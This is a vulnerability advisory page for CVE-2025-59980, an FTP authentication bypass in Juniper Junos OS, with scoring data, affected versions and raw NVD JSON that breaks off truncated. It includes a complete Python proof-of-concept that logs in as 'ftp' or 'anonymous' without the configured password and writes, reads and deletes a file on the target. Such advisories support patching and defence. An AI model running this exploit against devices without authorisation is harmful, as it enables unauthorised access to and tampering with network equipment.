Security Vulnerability Report
中文
CVE-2025-59980 CVSS 6.5 MEDIUM

CVE-2025-59980

Published: 2025-10-09 17:15:59
Last Modified: 2026-01-23 18:37:48

Description

An Authentication Bypass by Primary Weakness in the FTP server of Juniper Networks Junos OS allows an unauthenticated, network-based attacker to get limited read-write access to files on the device. When the FTP server is enabled and a user named "ftp" or "anonymous" is configured, that user can login without providing the configured password and then has read-write access to their home directory. This issue affects Junos OS:  * all versions before 22.4R3-S8, * 23.2 versions before 23.2R2-S3, * 23.4 versions before 23.4R2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:22.4:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:22.4:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:22.4:r1-s1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:22.4:r1-s2:*:*:*:*:*:* - VULNERABLE
Juniper Junos OS < 22.4R3-S8
Juniper Junos OS 23.2 < 23.2R2-S3
Juniper Junos OS 23.4 < 23.4R2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59980 PoC - Juniper Junos OS FTP Authentication Bypass # This PoC demonstrates the authentication bypass vulnerability in Juniper Junos OS FTP server # When a user named "ftp" or "anonymous" is configured, login succeeds without password verification import ftplib import sys def exploit_ftp_bypass(target_host, target_port=21): """ Exploit CVE-2025-59980: FTP Authentication Bypass on Juniper Junos OS """ bypass_users = ["ftp", "anonymous"] # Try empty password or arbitrary password (traditional anonymous convention) bypass_passwords = ["", "[email protected]", "ftp", "guest"] for username in bypass_users: for password in bypass_passwords: try: print(f"[*] Trying username='{username}', password='{password}'") ftp = ftplib.FTP() ftp.connect(target_host, target_port, timeout=10) # Attempt login with bypass credentials response = ftp.login(username, password) print(f"[+] Bypass successful! Server response: {response}") # Demonstrate read-write access to home directory print(f"[*] Current directory: {ftp.pwd()}") # List files in home directory print("[*] Directory listing:") files = [] ftp.dir(files.append) for f in files: print(f" {f}") # Write test file to demonstrate write access test_filename = "poc_test_file.txt" test_content = b"CVE-2025-59980 PoC - Authentication Bypass Confirmed" from io import BytesIO ftp.storbinary(f"STOR {test_filename}", BytesIO(test_content)) print(f"[+] Successfully uploaded {test_filename} (write access confirmed)") # Read the uploaded file back to confirm round-trip from io import StringIO buffer = StringIO() ftp.retrlines(f"RETR {test_filename}", buffer.write) print(f"[+] File content read back: {buffer.getvalue().strip()}") # Cleanup ftp.delete(test_filename) ftp.quit() return True except ftplib.error_perm as e: print(f"[-] Login failed: {e}") continue except Exception as e: print(f"[-] Connection error: {e}") continue print("[-] All bypass attempts failed") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_host> [target_port]") print(f"Example: {sys.argv[0]} 192.168.1.1 21") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 21 exploit_ftp_bypass(host, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59980", "sourceIdentifier": "[email protected]", "published": "2025-10-09T17:15:59.427", "lastModified": "2026-01-23T18:37:47.893", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Authentication Bypass by Primary Weakness\n\nin the FTP server of Juniper Networks Junos OS allows an unauthenticated, network-based attacker to get limited read-write access to files on the device.\nWhen the FTP server is enabled and a user named \"ftp\" or \"anonymous\" is configured, that user can login without providing the configured password and then has read-write access to their home directory.\n\nThis issue affects Junos OS: \n\n\n\n * all versions before 22.4R3-S8,\n * 23.2 versions before 23.2R2-S3,\n * 23.4 versions before 23.4R2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:M/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-305"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*", "versionEndExcluding": "22.4", "matchCriteriaId": "57F66641-003B-49D6-A9B9-AB300CFE3C93"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:-:*:*:*:*:*:*", "matchCriteriaId": "1379EF30-AF04-4F98-8328-52A631F24737"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r1:*:*:*:*:*:*", "matchCriteriaId": "28E42A41-7965-456B-B0AF-9D3229CE4D4C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r1-s1:*:*:*:*:*:*", "matchCriteriaId": "CB1A77D6-D3AD-481B-979C-8F778530B175"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "3A064B6B-A99B-4D8D-A62D-B00C7870BC30"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r2:*:*:*:*:*:*", "matchCriteriaId": "40813417-A938-4F74-A419-8C5188A35486"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r2-s1:*:*:*:*:*:*", "matchCriteriaId": "7FC1BA1A-DF0E-4B15-86BA-24C60E546732"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r2-s2:*:*:*:*:*:*", "matchCriteriaId": "EBB967BF-3495-476D-839A-9DBFCBE69F91"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r3:*:*:*:*:*:*", "matchCriteriaId": "7E5688D6-DCA4-4550-9CD1-A3D792252129"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r3-s1:*:*:*:*:*:*", "matchCriteriaId": "8494546C-00EA-49B6-B6FA-FDE42CA5B1FA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r3-s2:*:*:*:*:*:*", "matchCriteriaId": "8BB98579-FA33-4E41-A162-A46E9709FBD3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r3-s3:*:*:*:*:*:*", "matchCriteriaId": "08E2562F-FB18-4347-8497-7D61B8157EBB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r3-s4:*:*:*:*:*:*", "matchCriteriaId": "494D1D96-1DA2-4B0A-9536-1B5A4FDFCA09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r3-s5:*:*:*:*:*:*", "matchCriteriaId": "60 ... (truncated)